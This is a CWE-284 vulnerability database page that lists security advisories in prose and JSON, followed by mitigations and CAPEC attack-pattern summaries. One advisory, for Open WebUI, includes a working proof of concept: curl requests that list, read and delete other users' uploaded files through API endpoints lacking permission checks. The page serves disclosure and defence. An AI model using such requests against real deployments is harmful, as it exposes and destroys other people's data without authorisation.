CWE-284
DiscouragedImproper Access Control
Abstraction: Pillar · Status: Incomplete
The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.
7790 vulnerabilities reference this CWE, most recent first.
GHSA-R8M2-5FW8-37H4
Vulnerability from github – Published: 2025-04-15 21:31 – Updated: 2025-04-15 21:31Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Panel Processor). Supported versions that are affected are 8.60, 8.61 and 8.62. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in PeopleSoft Enterprise PeopleTools, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of PeopleSoft Enterprise PeopleTools accessible data as well as unauthorized read access to a subset of PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).
{
"affected": [],
"aliases": [
"CVE-2025-30697"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-04-15T21:15:59Z",
"severity": "MODERATE"
},
"details": "Vulnerability in the PeopleSoft Enterprise PeopleTools product of Oracle PeopleSoft (component: Panel Processor). Supported versions that are affected are 8.60, 8.61 and 8.62. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise PeopleSoft Enterprise PeopleTools. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in PeopleSoft Enterprise PeopleTools, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized update, insert or delete access to some of PeopleSoft Enterprise PeopleTools accessible data as well as unauthorized read access to a subset of PeopleSoft Enterprise PeopleTools accessible data. CVSS 3.1 Base Score 5.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N).",
"id": "GHSA-r8m2-5fw8-37h4",
"modified": "2025-04-15T21:31:46Z",
"published": "2025-04-15T21:31:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30697"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cpuapr2025.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-R8M4-9XM8-H9RQ
Vulnerability from github – Published: 2024-11-12 18:30 – Updated: 2024-11-12 18:30Windows Update Stack Elevation of Privilege Vulnerability
{
"affected": [],
"aliases": [
"CVE-2024-43530"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-11-12T18:15:25Z",
"severity": "HIGH"
},
"details": "Windows Update Stack Elevation of Privilege Vulnerability",
"id": "GHSA-r8m4-9xm8-h9rq",
"modified": "2024-11-12T18:30:58Z",
"published": "2024-11-12T18:30:58Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-43530"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-43530"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R8MG-42P6-3G5R
Vulnerability from github – Published: 2026-06-17 18:35 – Updated: 2026-06-17 18:35Vulnerability in the WebLogic Server product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise WebLogic Server. Successful attacks of this vulnerability can result in takeover of WebLogic Server. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).
{
"affected": [],
"aliases": [
"CVE-2026-35311"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-06-17T10:40:23Z",
"severity": "HIGH"
},
"details": "Vulnerability in the WebLogic Server product of Oracle Fusion Middleware (component: Core). Supported versions that are affected are 12.2.1.4.0 and 14.1.2.0.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise WebLogic Server. Successful attacks of this vulnerability can result in takeover of WebLogic Server. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).",
"id": "GHSA-r8mg-42p6-3g5r",
"modified": "2026-06-17T18:35:25Z",
"published": "2026-06-17T18:35:24Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-35311"
},
{
"type": "WEB",
"url": "https://www.oracle.com/security-alerts/cspujun2026.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R8QW-7677-X9RF
Vulnerability from github – Published: 2022-04-26 00:00 – Updated: 2022-05-05 00:00The flo-launch WordPress plugin before 2.4.1 injects code into wp-config.php when creating a cloned site, allowing any attacker to initiate a new site install by setting the flo_custom_table_prefix cookie to an arbitrary value.
{
"affected": [],
"aliases": [
"CVE-2022-0541"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-04-25T16:16:00Z",
"severity": "CRITICAL"
},
"details": "The flo-launch WordPress plugin before 2.4.1 injects code into wp-config.php when creating a cloned site, allowing any attacker to initiate a new site install by setting the flo_custom_table_prefix cookie to an arbitrary value.",
"id": "GHSA-r8qw-7677-x9rf",
"modified": "2022-05-05T00:00:37Z",
"published": "2022-04-26T00:00:39Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0541"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/822cac2c-decd-4aa4-9e8e-1ba2d0c080ce"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-R8RM-JW25-4H55
Vulnerability from github – Published: 2022-12-27 18:30 – Updated: 2023-01-05 06:30Some Dahua software products have a vulnerability of unauthenticated enable or disable SSHD service. After bypassing the firewall access control policy, by sending a specific crafted packet to the vulnerable interface, an attacker could enable or disable the SSHD service.
{
"affected": [],
"aliases": [
"CVE-2022-45430"
],
"database_specific": {
"cwe_ids": [
"CWE-284",
"CWE-287"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-12-27T18:15:00Z",
"severity": "LOW"
},
"details": "Some Dahua software products have a vulnerability of unauthenticated enable or disable SSHD service. After bypassing the firewall access control policy, by sending a specific crafted packet to the vulnerable interface, an attacker could enable or disable the SSHD service.",
"id": "GHSA-r8rm-jw25-4h55",
"modified": "2023-01-05T06:30:23Z",
"published": "2022-12-27T18:30:20Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-45430"
},
{
"type": "WEB",
"url": "https://www.dahuasecurity.com/support/cybersecurity/details/1137"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-R8WH-8M7R-FH33
Vulnerability from github – Published: 2026-05-14 20:15 – Updated: 2026-05-19 15:58Summary
A missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform.
Details
All files/ related endpoints lack permission checks.
Listing all files
For example, let's see how file listing is implemented:
https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L107-L110
https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/models/files.py#L26
Notice the endpoint depends only on an authenticated user check, no file filtering is done to match the uploaded files' user_id to the requesting user.
This problem repeats itself throughout the various route implementations, allowing any user to perform actions on any file. Some note worthy functions:
Accessing the content of any file
https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L173-L193
Deleting any file
https://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L224-L241
PoC
Configuration
- I ran a clean install of the latest version using one of the docker one-liners on an Ubuntu desktop:
docker run -d -p 3000:8080 -v ollama:/root/.ollama -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:ollama - I created an admin user
- I created a second user to act as the threat actor with no elevated permissions
- Admin user uploaded
test.txtin a conversation with model - Admin user uploaded
mydeepest_secret.docxin a conversation with model
Listing files uploaded by other users
- Login to threat actor
- Perform a GET request to
/api/v1/files/
curl -X 'GET' \
'http://localhost:3000/api/v1/files/' \
-H 'accept: application/json'
[
{
"id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
"user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
"filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
"meta": {
"name": "test.txt",
"content_type": "text/plain",
"size": 4,
"path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
},
"created_at": 1724709202
},
{
"id": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98",
"user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
"filename": "8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx",
"meta": {
"name": "mydeepest_secret.docx",
"content_type": "application/vnd.openxmlformats-officedocument.wordprocessingml.document",
"size": 6485,
"path": "/app/backend/data/uploads/8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx"
},
"created_at": 1724710236
}
]
Accessing other users' file content
- Login to threat actor
- Perform a GET request to
/api/v1/files/{id}/content
curl -X 'GET' \
'http://localhost:3000/api/v1/files/b9733e9c-0714-4425-8915-d0361bf66dfc/content' \
-H 'accept: application/json'
wow
Deleting another user's uploaded file
- Login to threat actor
- Perform a DELETE request to
/api/v1/files/{id}
curl -X 'DELETE' \
'http://localhost:3000/api/v1/files/8f058e18-fec1-4b9f-bb4e-c17f39d03c98' \
-H 'accept: application/json'
{
"message": "File deleted successfully"
}
- We will verify this action by furthur listing all files as mentioned above:
[
{
"id": "b9733e9c-0714-4425-8915-d0361bf66dfc",
"user_id": "c0c16e7a-6f81-4863-8b71-e56e2e389cf1",
"filename": "b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt",
"meta": {
"name": "test.txt",
"content_type": "text/plain",
"size": 4,
"path": "/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt"
},
"created_at": 1724709202
}
]
Impact
Having access to user uploaded files, regardless of ownership or permission level, breaks the confidentiality of sensitive data stored by users. Furthermore, the ability to delete other user's uploaded files disrupts the integrity of the system.
Personal Notice
In case this submission does get recognized and numbered as a CVE I'd perfer to be credited by my full name - Yuval Gal, instead of my GitHub handle.
Thanks in advance and have a good week (:
Credits
This vulnerability was reported by Yuval Gal (GitHub: @vi11ain).
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 0.3.15"
},
"package": {
"ecosystem": "PyPI",
"name": "open-webui"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.3.16"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-45301"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-14T20:15:53Z",
"nvd_published_at": "2026-05-15T22:16:53Z",
"severity": "HIGH"
},
"details": "### Summary\nA missing permission check in all files related API endpoints allows any authenticated user to list, access and delete every file uploaded by every user to the platform.\n\n### Details\nAll `files/` related endpoints lack permission checks.\n\n#### Listing all files\nFor example, let\u0027s see how file listing is implemented:\nhttps://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L107-L110\nhttps://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/models/files.py#L26\nNotice the endpoint depends only on an authenticated user check, no file filtering is done to match the uploaded files\u0027 `user_id` to the requesting user.\n\nThis problem repeats itself throughout the various route implementations, allowing any user to perform actions on any file.\nSome note worthy functions:\n#### Accessing the content of any file\nhttps://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L173-L193\n#### Deleting any file\nhttps://github.com/open-webui/open-webui/blob/e2b7296786053dfc77f6ae0205a1b195e05a712c/backend/apps/webui/routers/files.py#L224-L241\n\n### PoC\n#### Configuration\n1. I ran a clean install of the latest version using one of the docker one-liners on an Ubuntu desktop:\n`docker run -d -p 3000:8080 -v ollama:/root/.ollama -v open-webui:/app/backend/data --name open-webui --restart always ghcr.io/open-webui/open-webui:ollama`\n2. I created an admin user\n3. I created a second user to act as the threat actor with no elevated permissions\n4. Admin user uploaded `test.txt` in a conversation with model\n5. Admin user uploaded `mydeepest_secret.docx` in a conversation with model\n\n#### Listing files uploaded by other users\n1. Login to threat actor\n2. Perform a GET request to `/api/v1/files/`\n```sh\ncurl -X \u0027GET\u0027 \\\n \u0027http://localhost:3000/api/v1/files/\u0027 \\\n -H \u0027accept: application/json\u0027\n```\n```json\n[\n {\n \"id\": \"b9733e9c-0714-4425-8915-d0361bf66dfc\",\n \"user_id\": \"c0c16e7a-6f81-4863-8b71-e56e2e389cf1\",\n \"filename\": \"b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt\",\n \"meta\": {\n \"name\": \"test.txt\",\n \"content_type\": \"text/plain\",\n \"size\": 4,\n \"path\": \"/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt\"\n },\n \"created_at\": 1724709202\n },\n {\n \"id\": \"8f058e18-fec1-4b9f-bb4e-c17f39d03c98\",\n \"user_id\": \"c0c16e7a-6f81-4863-8b71-e56e2e389cf1\",\n \"filename\": \"8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx\",\n \"meta\": {\n \"name\": \"mydeepest_secret.docx\",\n \"content_type\": \"application/vnd.openxmlformats-officedocument.wordprocessingml.document\",\n \"size\": 6485,\n \"path\": \"/app/backend/data/uploads/8f058e18-fec1-4b9f-bb4e-c17f39d03c98_mydeepest_secret.docx\"\n },\n \"created_at\": 1724710236\n }\n]\n```\n\n#### Accessing other users\u0027 file content\n1. Login to threat actor\n2. Perform a GET request to `/api/v1/files/{id}/content`\n```sh\ncurl -X \u0027GET\u0027 \\\n \u0027http://localhost:3000/api/v1/files/b9733e9c-0714-4425-8915-d0361bf66dfc/content\u0027 \\\n -H \u0027accept: application/json\u0027\n```\n```\nwow\n```\n\n#### Deleting another user\u0027s uploaded file\n1. Login to threat actor\n2. Perform a DELETE request to `/api/v1/files/{id}`\n```sh\ncurl -X \u0027DELETE\u0027 \\\n \u0027http://localhost:3000/api/v1/files/8f058e18-fec1-4b9f-bb4e-c17f39d03c98\u0027 \\\n -H \u0027accept: application/json\u0027\n```\n```json\n{\n \"message\": \"File deleted successfully\"\n}\n```\n3. We will verify this action by furthur listing all files as mentioned above:\n```json\n[\n {\n \"id\": \"b9733e9c-0714-4425-8915-d0361bf66dfc\",\n \"user_id\": \"c0c16e7a-6f81-4863-8b71-e56e2e389cf1\",\n \"filename\": \"b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt\",\n \"meta\": {\n \"name\": \"test.txt\",\n \"content_type\": \"text/plain\",\n \"size\": 4,\n \"path\": \"/app/backend/data/uploads/b9733e9c-0714-4425-8915-d0361bf66dfc_test.txt\"\n },\n \"created_at\": 1724709202\n }\n]\n```\n\n### Impact\nHaving access to user uploaded files, regardless of ownership or permission level, breaks the confidentiality of sensitive data stored by users. Furthermore, the ability to delete other user\u0027s uploaded files disrupts the integrity of the system.\n\n### Personal Notice\nIn case this submission does get recognized and numbered as a CVE I\u0027d perfer to be credited by my full name - Yuval Gal, instead of my GitHub handle.\n\nThanks in advance and have a good week (:\n\n## Credits\n\nThis vulnerability was reported by **Yuval Gal** (GitHub: @vi11ain).",
"id": "GHSA-r8wh-8m7r-fh33",
"modified": "2026-05-19T15:58:03Z",
"published": "2026-05-14T20:15:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-r8wh-8m7r-fh33"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45301"
},
{
"type": "PACKAGE",
"url": "https://github.com/open-webui/open-webui"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Open WebUI: Missing permission check in files API allows authenticated users to list, access and delete every uploaded file"
}
GHSA-R8WP-J578-FFG7
Vulnerability from github – Published: 2025-10-14 18:30 – Updated: 2025-10-14 18:30Arbitrary file download vulnerabilities exist in the CLI binary of AOS-10 GW and AOS-8 Controller/Mobility Conductor operating systems. Successful exploitation could allow an authenticated malicious actor to download arbitrary files through carefully constructed exploits.
{
"affected": [],
"aliases": [
"CVE-2025-37141"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-10-14T17:15:40Z",
"severity": "MODERATE"
},
"details": "Arbitrary file download vulnerabilities exist in the CLI binary of AOS-10 GW and AOS-8 Controller/Mobility Conductor operating systems. Successful exploitation could allow an authenticated malicious actor to download arbitrary files through carefully constructed exploits.",
"id": "GHSA-r8wp-j578-ffg7",
"modified": "2025-10-14T18:30:29Z",
"published": "2025-10-14T18:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-37141"
},
{
"type": "WEB",
"url": "https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw04957en_us\u0026docLocale=en_US"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-R927-6QM6-5QC7
Vulnerability from github – Published: 2022-05-24 16:49 – Updated: 2024-04-04 01:13Intuit Lacerte 2017 has Incorrect Access Control.
{
"affected": [],
"aliases": [
"CVE-2018-14833"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2019-07-09T13:15:00Z",
"severity": "MODERATE"
},
"details": "Intuit Lacerte 2017 has Incorrect Access Control.",
"id": "GHSA-r927-6qm6-5qc7",
"modified": "2024-04-04T01:13:06Z",
"published": "2022-05-24T16:49:46Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-14833"
},
{
"type": "WEB",
"url": "https://themikewylie.com/2019/05/21/intuit-lacerte-vulnerability-and-data-exposure-cve-2018-11338-cve-2018-14833"
},
{
"type": "WEB",
"url": "https://www.themikewylie.com/intuit-lacerte-vulnerability-and-data-exposure-cve-2018-11338-cve-2018-14833"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-R92R-8G7F-HQJ2
Vulnerability from github – Published: 2026-05-15 06:30 – Updated: 2026-05-15 06:30Improper isolation of VCN-JPEG HW register space could allow a malicious Guest Virtual Machine (VM) or a process to perform unauthorized access to the register space of the JPEG cores assigned a victim VM/process, potentially gaining arbitrary read/write access to the victim VM/process data.
{
"affected": [],
"aliases": [
"CVE-2024-36323"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-15T05:16:32Z",
"severity": "HIGH"
},
"details": "Improper isolation of VCN-JPEG HW register space could allow a malicious Guest Virtual Machine (VM) or a process to perform unauthorized access to the register space of the JPEG cores assigned a victim VM/process, potentially gaining arbitrary read/write access to the victim VM/process data.",
"id": "GHSA-r92r-8g7f-hqj2",
"modified": "2026-05-15T06:30:29Z",
"published": "2026-05-15T06:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-36323"
},
{
"type": "WEB",
"url": "https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-6027.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-R95G-CCC3-R2M4
Vulnerability from github – Published: 2022-05-24 17:41 – Updated: 2022-09-21 00:00A vulnerability in the IPv6 traffic processing of Cisco IOS XR Software and Cisco NX-OS Software for certain Cisco devices could allow an unauthenticated, remote attacker to bypass an IPv6 access control list (ACL) that is configured for an interface of an affected device. The vulnerability is due to improper processing of IPv6 traffic that is sent through an affected device. An attacker could exploit this vulnerability by sending crafted IPv6 packets that traverse the affected device. A successful exploit could allow the attacker to access resources that would typically be protected by the interface ACL.
{
"affected": [],
"aliases": [
"CVE-2021-1389"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-02-04T17:15:00Z",
"severity": "MODERATE"
},
"details": "A vulnerability in the IPv6 traffic processing of Cisco IOS XR Software and Cisco NX-OS Software for certain Cisco devices could allow an unauthenticated, remote attacker to bypass an IPv6 access control list (ACL) that is configured for an interface of an affected device. The vulnerability is due to improper processing of IPv6 traffic that is sent through an affected device. An attacker could exploit this vulnerability by sending crafted IPv6 packets that traverse the affected device. A successful exploit could allow the attacker to access resources that would typically be protected by the interface ACL.",
"id": "GHSA-r95g-ccc3-r2m4",
"modified": "2022-09-21T00:00:42Z",
"published": "2022-05-24T17:41:05Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-1389"
},
{
"type": "WEB",
"url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ipv6-acl-CHgdYk8j"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-1
Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts
An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.
CAPEC-441: Malicious Logic Insertion
An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.
CAPEC-478: Modification of Windows Service Configuration
An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.
CAPEC-479: Malicious Root Certificate
An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.
CAPEC-502: Intent Spoof
An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.
CAPEC-503: WebView Exposure
An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.
CAPEC-536: Data Injected During Configuration
An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.
CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment
An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.
CAPEC-550: Install New Service
When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.
CAPEC-551: Modify Existing Service
When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.
CAPEC-552: Install Rootkit
An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.
CAPEC-556: Replace File Extension Handlers
When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.
CAPEC-558: Replace Trusted Executable
An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.
CAPEC-562: Modify Shared File
An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.
CAPEC-563: Add Malicious File to Shared Webroot
An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.
CAPEC-564: Run Software at Logon
Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.
CAPEC-578: Disable Security Software
An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.